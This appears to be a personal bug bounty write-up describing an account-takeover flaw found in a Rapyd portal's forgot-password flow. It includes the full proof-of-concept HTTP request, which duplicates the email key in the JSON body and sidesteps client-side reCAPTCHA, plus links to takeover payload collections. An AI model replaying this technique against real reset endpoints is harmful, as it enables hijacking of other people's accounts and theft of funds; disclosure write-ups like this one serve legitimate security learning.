How I Found My First Unique Submission Bug

P2 Severity Bug bounty on Bugcrowd

👋 Hey friends, fellow hackers, and curious minds!

If you’re new to bug bounty hunting, doubting your skills, or wondering if you’ll ever land that first valid and unique submission, this story is for you. Spoiler: You don’t need a decade of experience to make an impact.

The “I’m Not Ready” Phase:

I still remember it was around May 30, 2024, i was start hunting, I was you:

Scrolling through Bugcrowd’s programs, thinking, “Do I even belong here?” Like so many others, I fell into the rabbit hole of binge-watching ‘How to Land Your First Vulnerability’ tutorials and endless bug bounty PoC article and playlists. At first, it felt isolating, like everyone else was sprinting ahead while I was still learning to crawl. But then it hit me: we’re all here, scrambling through the same late-night Google searches, oscillating between motivation and dread.

But here’s the secret nobody tells you: The crowd isn’t sprinting, they’re just better at hiding their stumbles.

I forced myself to pick a target: Rapyd’s authenticated portal. Instead of chasing unexplored subdomains, I focused on the authenticated user flow, then i stumbled into this forgot password feature.

Here's some for ATO PoC: (Just get the idea)

https://www.youtube.com/watch?v=8vWc15KcKGs&list=PLYq73lsQ7MT3FokfqmqAsjPQhhKZNbGF0

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Account%20Takeover

Here’s how it went down:

  1. Registered my dummy victim@email.com (The goal is to takeover that account whatsoever)

  2. I entered that email on https://[redacted-portal].rapyd.net/forgot.

  3. Intercepted the request with Burp Suite.

  4. Bypassing reCAPTCHA: The app used client-side reCAPTCHA validation. By letting the frontend handle the “I’m not a robot” check before intercepting the final request, I sidestepped it entirely. until the [redacted-portal].raypd.net shows up.

  5. Step 3: Noticed the backend used JSON parameters. Hmm… What if I tamper with these?

  6. Step 4: Duplicated the email field in the JSON payload:

POC:

POST /v1/portal/users/password/forgot HTTP/2
Host: [redacted-portal].raypd.net
Cookie: ....
User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:128.0) Gecko/201XXXXX Firefox/128
Accept: application/json, text/plain, */*
Content-Type: application/json
Origin: https://[redacted-portal].raypd.net
Referer: https://[redacted-portal].raypd.net/forgot
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
te: trailers

{ 
   "email":"victim@email.com",
   "email":"attacker@email.com",
   "recaptcha_token:
    "03aaaaaaxxxxxxxxxxxxxxxxxxxxx03aaaaaaxxxxxxxxxxxxxxxxxxxxx03aaaaaaxxxxxxxxxxxxxxxxxxxxx	
    xx03aaaaaaxxxxxxxxxxxxxxxxxxxxx03aaaaaaxxxxxxxxxxxxxxxxxxxxxxx03aaaaaaxxxxxxxxxxxxx..."
}

5. Sent the request.

Then after a moment....

.

.

.

And The password reset link of victim's email landed on attacker's email inbox just like that! even though attacker@gmail.com wasn’t registered on Rapyd in first place!

☠️ Password reset link for victim@email.com was delivered to attacker@email.com despite:

  • Attacker email not being registered in Rapyd

  • Victim email being the legitimate account

Technical Analysis:

  • Vulnerability Type: JSON Parameter Pollution (JPP)

  • Root Cause: Backend parser processing both email parameters instead of rejecting duplicates or using last occurrence

  • Rarity Factors:

    • Most JSON parsers either reject duplicate keys or prioritize the last instance

    • This implementation unusually: a) Processes first email to identify the victim account b) Uses second email for reset link delivery

    • Critical impact achieved without requiring attacker email registration

bruhh

This wasn’t just a bug, it was a business-critical flaw. Attackers could hijack any account, drain funds, or disrupt entire companies.

https://bugcrowd.com/engagements/rapyd/hall_of_fames

Thanks for reading and good luck for future hunting! 👋

Last updated